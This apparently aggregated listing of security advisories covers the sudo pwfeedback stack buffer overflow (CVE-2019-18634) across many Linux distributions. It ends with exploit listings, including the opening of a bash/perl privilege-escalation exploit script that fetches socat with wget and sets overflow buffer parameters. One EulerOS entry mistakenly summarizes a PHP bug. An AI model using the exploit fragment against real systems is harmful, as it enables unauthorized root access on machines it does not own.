NewStart CGSL CORE 5.04 / MAIN 5.04 : sudo Vulnerability (NS-SA-2020-0025)

The remote NewStart CGSL host, running version CORE 5.04 / MAIN 5.04, has sudo packages installed that are affected by a vulnerability: - In Sudo before 1.8.26, if pwfeedback is enabled in /etc/sudoers, users can trigger a stack-based buffer overflow in the privileged sudo process. pwfeedback is ...

EulerOS Virtualization for ARM 64 3.0.2.0 : sudo (EulerOS-SA-2020-1564)

According to the versions of the sudo package installed, the EulerOS Virtualization for ARM 64 installation on the remote host is affected by the following vulnerabilities : - In PHP before 5.6.28 and 7.x before 7.0.13, incorrect handling of various URI components in the URL parser could be used ...

Important: sudo

Issue Overview: In Sudo before 1.8.26, if pwfeedback is enabled in /etc/sudoers, users can trigger a stack-based buffer overflow in the privileged sudo process. pwfeedback is a default setting in Linux Mint and elementary OS; however, it is NOT the default for upstream and many other packages, an...

Fedora 31 : sudo (2020-8b563bc5f4)

update to latest development version 1.9.0b1 - added sudologsrvd and sudosendlog to files and their appropriate man pages Resolves: rhbz1787823 - Stack based buffer overflow in when pwfeedback is enabled Resolves: rhbz1796945 - fixes: CVE-2019-18634 - By using ! character in the shadow file...

RHEL 6 : sudo (RHSA-2020:0726)

The remote Redhat Enterprise Linux 6 host has packages installed that are affected by a vulnerability as referenced in the RHSA-2020:0726 advisory. The sudo packages contain the sudo utility which allows system administrators to provide certain users with the permission to execute privileged...

Important: Red Hat Security Advisory: sudo security update

An update for sudo is now available for Red Hat Enterprise Linux 6. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the...

sudo: Stack based buffer overflow when pwfeedback is enabled

A flaw was found in the Sudo application when the ’pwfeedback' option is set to true on the sudoers file. An authenticated user can use this vulnerability to trigger a stack-based buffer overflow under certain conditions even without Sudo privileges. The buffer overflow may allow an attacker to...

openSUSE Security Update : sudo (openSUSE-2020-244)

This update for sudo fixes the following issues : Security issue fixed : - CVE-2019-18634: Fixed a buffer overflow in the passphrase prompt that could occur when pwfeedback was enabled in /etc/sudoers bsc1162202. Non-security issue fixed : - Fixed an issue where sudo -l would ask for a password...

SUSE SLED12 / SLES12 Security Update : sudo (SUSE-SU-2020:0406-1)

This update for sudo fixes the following issues : Security issue fixed : CVE-2019-18634: Fixed a buffer overflow in the passphrase prompt that could occur when pwfeedback was enabled in /etc/sudoers bsc1162202. Non-security issue fixed: Fixed an issue where sudo -l would ask for a password even...

SUSE SLED15 / SLES15 Security Update : sudo (SUSE-SU-2020:0408-1)

This update for sudo fixes the following issues : Security issue fixed : CVE-2019-18634: Fixed a buffer overflow in the passphrase prompt that could occur when pwfeedback was enabled in /etc/sudoers bsc1162202. Non-security issue fixed: Fixed an issue where sudo -l would ask for a password even...

SUSE-SU-2020:0407-1 Security update for sudo

This update for sudo fixes the following issue: Security issue fixed: - CVE-2019-18634: Fixed a buffer overflow in the passphrase prompt that could occur when pwfeedback was enabled in /etc/sudoers bsc1162202...

sudo: Stack based buffer overflow when pwfeedback is enabled

A flaw was found in the Sudo application when the ’pwfeedback' option is set to true on the sudoers file. An authenticated user can use this vulnerability to trigger a stack-based buffer overflow under certain conditions even without Sudo privileges. The buffer overflow may allow an attacker to...

Important: Red Hat Security Advisory: sudo security update

An update for sudo is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the...

SUSE-SU-2020:0390-1 Security update for sudo

This update for sudo fixes the following issue: Security issue fixed: - CVE-2019-18634: Fixed a buffer overflow in the passphrase prompt that could occur when pwfeedback was enabled in /etc/sudoers bsc1162202...

sudo: Stack based buffer overflow when pwfeedback is enabled

A flaw was found in the Sudo application when the ’pwfeedback' option is set to true on the sudoers file. An authenticated user can use this vulnerability to trigger a stack-based buffer overflow under certain conditions even without Sudo privileges. The buffer overflow may allow an attacker to...

Important: Red Hat Security Advisory: sudo security update

An update for sudo is now available for Red Hat Enterprise Linux 8.0 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...

sudo: Stack based buffer overflow when pwfeedback is enabled

A flaw was found in the Sudo application when the ’pwfeedback' option is set to true on the sudoers file. An authenticated user can use this vulnerability to trigger a stack-based buffer overflow under certain conditions even without Sudo privileges. The buffer overflow may allow an attacker to...

MGASA-2020-0081 Updated sudo packages fix security vulnerability

The updated packages fix a security vulnerability: In Sudo before 1.8.31, if pwfeedback is enabled in /etc/sudoers, users can trigger a stack-based buffer overflow in the privileged sudo process. pwfeedback is a default setting in Linux Mint and elementary OS; however, it is NOT the default for...

Exploit for Out-of-bounds Write in Sudo_Project Sudo

CVE-2019-18634 :warning: This code has only been tested on...

Sudo 1.8.25p - 'pwfeedback' Buffer Overflow

!/bin/bash We will need socat to run this. if ! -f socat ; then wget https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x8664/socat chmod +x socat fi cat xpl.pl $bufsz = 256; $askpasssz = 32; $signosz = 465; $tgetpassflag = "\x04\x00\x00\x00" . "\x00"x24;...